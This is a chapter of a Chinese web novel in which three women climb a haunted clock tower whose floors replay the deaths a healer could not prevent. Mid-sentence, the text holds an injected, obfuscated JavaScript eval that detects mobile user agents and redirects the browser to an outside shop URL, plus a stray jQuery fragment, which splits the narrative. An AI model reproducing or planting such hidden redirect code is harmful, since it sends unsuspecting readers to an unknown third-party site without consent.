钟楼底部比苏清扬想象中更冷。
风从河面上吹来，到这里已经没了水汽，只剩下一股很硬很干的凉，像有人用磨过的刀背贴着你的后颈慢慢划过去。苏清扬把外套又裹了裹，抬头望。钟楼极高，黑沉沉的，像把天和地钉在一起的一根旧铁。墙面剥落得厉害，露出里面灰白色的砖。没有门。只有一道极窄的口子，黑黢黢的，像被刀砍出来的伤。
“从这上去。”白静姝说。
苏清扬走近几步，探头往里看。里面很黑，什么都看不见。只有风从里面吹出来，带着一股陈旧的烟味，像很久以前烧过一场火。那火早灭了，可灰还留在楼里。
“你也上去。”苏清扬转头看白静姝。
白静姝站在桥头，背后是那条灰白色的嗔怒桥。她的青灰色衣裳在风里轻轻摆。她没动，只看着那道窄口，眼睛里有极轻的犹豫。那犹豫并不久，像一盏灯被风吹了一下，又稳住了。
“我上去过很多次。”她终于说，“每一次，都到不了顶。”
“为什么？”苏清扬问。
“每上一层，楼就会让你想起一个你救不了的人。”白静姝说，声音像从旧事里抽出来的一缕烟，“一层一个。越往上，那人越像刚死。我走到第七层，就再也抬不动脚了。”
苏清扬心里一沉。第七层。那该是多高的地方。她抬头又看了一眼钟楼，只觉得那黑黢黢的楼身像一口倒扣的井。人进去，不是往上，是往下沉。
“这次有我们。”苏清扬说。她没说“我陪你”，也没说“别怕”。她只是把一只手伸到白静姝面前，五指张开，掌心朝上。像在说：要一起，就牵着。
白静姝看了那只手好一会儿。然后她慢慢把药箱带子又紧了一紧，朝前走了两步。她的手没伸出来，但走到了苏清扬身边。
“跟紧我。”她说。
三人鱼贯钻进那道窄口。一进去，世界像被谁抽走了颜色和光。四周是墙，极窄，只能一人通行。脚下是石阶，极陡，每级都窄得只容半个脚掌。苏清扬侧着身子，手扶着墙。那墙是潮的，又冷又黏，像从地底渗出来的汗。
“别扶墙。”蒹葭在后面小声说，“那墙会听你的心跳。你越怕，它越软。”
苏清扬猛地缩回手。可已经晚了。她的掌心里沾了一层薄薄的灰，那灰像有生命一样，往她皮肤里渗。她的心跳更快了，扑通扑通，像在身体里装了一面鼓。她咬住牙，一步步往上走。楼道里没有窗，也没有光。她只能听见自己粗重的呼吸，和蒹葭轻轻跟在后面的脚步声。白静姝在前面，像一盏看不见的灯。苏清扬不知道她怎么认得路。也许是走太多次了。每一级都刻在她骨头上。
到了第二层，苏清扬开始听见哭声。
那哭声极轻，像从墙里漏出来的。是个小女孩，细细地抽着气，断断续续地叫：“姐姐……姐姐……”苏清扬的脚步一乱，差点踩空。她伸手想去扶墙，又想起蒹葭的话，硬生生把手按回自己腿上。那哭声忽远忽近，像绕着她打转。她听见那孩子又说：“姐姐，我好疼啊。你为什么不回来？”苏清扬的太阳穴突突地跳。她想停，想回头。可白静姝没停。她的脚步声还在往上，一下，两下，像在给苏清扬引路。
“别听。”白静姝在前面说，“那是我。”
苏清扬一凛。那哭声渐渐远了，像被风吹散。她忽然明白过来。这楼不是让她看自己的过去。是在看白静姝的。每一层，都是白静姝没救回来的人。他们躲在这楼里，等每一次有人上楼时，就把那些旧事翻出来。不是要吓你，是要你留在那里，听他们说完。
第三层，是个老人。他在咳嗽，边咳边骂，骂天，骂命，骂那个没把他救活的年轻女医。第四层，是个孕妇。她在唱一支极柔的歌，像摇篮曲，又像送葬调。第五层，是个少年。他在笑。笑声很脆，像冬天碎冰。他一声声说：“姐姐，你说要给我带药的。药呢？”第六层，苏清扬已经分不清是谁了。有男人的低吼，有女人的尖叫，有孩子尖利的哭，有老人含混不清的念经声。它们混在一起，从楼道的每一道砖缝里渗出来，像要把人裹成一个蛹。苏清扬觉得脚越来越重。她想捂住耳朵，可手一离开腿，身体就开始晃。
“再上一层，就到我说的地方了。”白静姝忽然说。
苏清扬喘着粗气，抬头看她。白静姝就站在上面几级处，一只手按着胸口，像在数自己的心跳。天光从头顶极细的缝里漏进来一点，落在她半边脸上。她的脸很白，额头有汗，可眼神还是那样清。
“每次走到这，我都听见那个孩子在叫我。”她说，“不是哭，是笑。他以为我去了，就是去救他了。可我到的时候，他已经凉了。他的手还伸着，手指朝着门。我进门时，他姐姐跪在床边，回头看我。那眼睛，我一辈子都忘不掉。”
苏清扬的喉咙像被什么塞住了。她想起母亲。想起她妈从手术室出来时，那个护士看她的眼神。没有责备，没有悲伤，只有一种极轻极淡的“我已经尽力了”。可就是那种淡，才最重。
“走吧。”苏清扬说。她一步跨上两级，站到白静姝身侧。她的腿还在抖，呼吸也没匀。可她看着白静姝，一字一句地说：“那个人已经死了。你上去，也算带他走。”
白静姝看了她一眼。楼里很暗，可苏清扬觉得自己看见了她眼里有极亮的东西，不是泪，是忽然活过来的东西，像从井底翻上来的水。
第七层。苏清扬到了。
可这一次，楼里竟然安静了。没有哭声，没有笑声，没有骂。空得让人心慌。苏清扬的耳朵里只剩自己的心跳。那静太厚了，像一块黑布，把她从头到脚罩住。她想说话，却发不出声。她回头看，蒹葭就站在她身后。蒹葭的表情也难得地有些怔，像也被这静惊住了。
“他不在。”蒹葭说。
白静姝站在第七层的拐角处，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17921270|213467||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
背对着她们。她面朝着墙。那墙上，用血写着一行字。
苏清扬上前一步，看清了：
“你来了。这一次，可别走。”
那字很旧，暗红色，像谁用指头一点一点描上去的。字迹不算工整，可每一笔都用了大力，深得几乎要嵌进砖里。
白静姝伸出右手，慢慢按上那行字。她的手指比墙还凉。她没说话。苏清扬也没问。楼里没有风，可苏清扬觉得冷从四面八方贴上来，像有无数只眼睛从墙里睁开来，看着她们。
“这是我写的。”白静姝忽然说，“上一次，我走到这里，用自己的血写了这行字。因为我知道，若我不写，我就会再下去。可若我写了，我就必须上来。哪怕再难。”
她转过身，看着苏清扬和蒹葭。她的脸上没有泪。只有一种极深的、像把什么东西用力压下去后的平静。
“你们走吧。”她说，“这里，我自己能上去了。”
苏清扬看着她。她没动。过了好一会儿，她摇了摇头。
“不。”苏清扬说，“我们说好一起过桥，一起上楼。出口前，谁也不能少。”
白静姝怔住了。她像被这简单的话击中了什么极脆弱的地方，身子微微晃了一下。蒹葭在旁边轻轻“嗯”了一声。
“我也想知道，”蒹葭说，“你上去后，还会不会哭。”
白静姝低下头，极轻极轻地笑了一下。那笑像从厚厚灰烬里钻出来的一朵小花，淡得几乎看不见。
“不会。”她说，“我已经哭过了。”
她抬起头，转身上楼。苏清扬和蒹葭跟在她身后。楼里又响起了声音。可这次，那声音像从很远很远的地方来，像谁在唱一支送别的歌。苏清扬听不太清。她只觉得脚没那么重了，呼吸也没那么紧了。那口浊气，从她胸腔里一点点散掉，像被雨冲过的屋檐，终于能流出清亮的水来。
又上了几段。天光从头顶漏下来，像细细的雪。楼里渐渐亮了。苏清扬看见了那些散落的灰白色砖屑，像死了很久的蛾子。楼道的尽头，是一扇小门。木头的，极旧，没有锁。风从门缝里吹进来，带着雨后泥土的气味。
白静姝在门前停下。她没回头，只轻轻说了一句：
“外面是出口。”
苏清扬站定了。她忽然有些紧张。不是怕门后有什么。是怕过了这扇门，又会到另一个完全陌生的地方。她回头看了一眼蒹葭。蒹葭正歪着头，打量着那扇门。她的表情又恢复成那种半梦半醒的样子，像在哪见过。
“第三层。”蒹葭说，“我好像去过。”
苏清扬心里一紧。她没问。她只是走上前，站在白静姝右边。
“一起开。”她说。
白静姝点点头。两个人的手同时按上门板。那木头是温的，温得让人鼻子发酸。苏清扬吸了口气，轻轻一推。
门开了。光像水一样扑进来，浇了她们满身。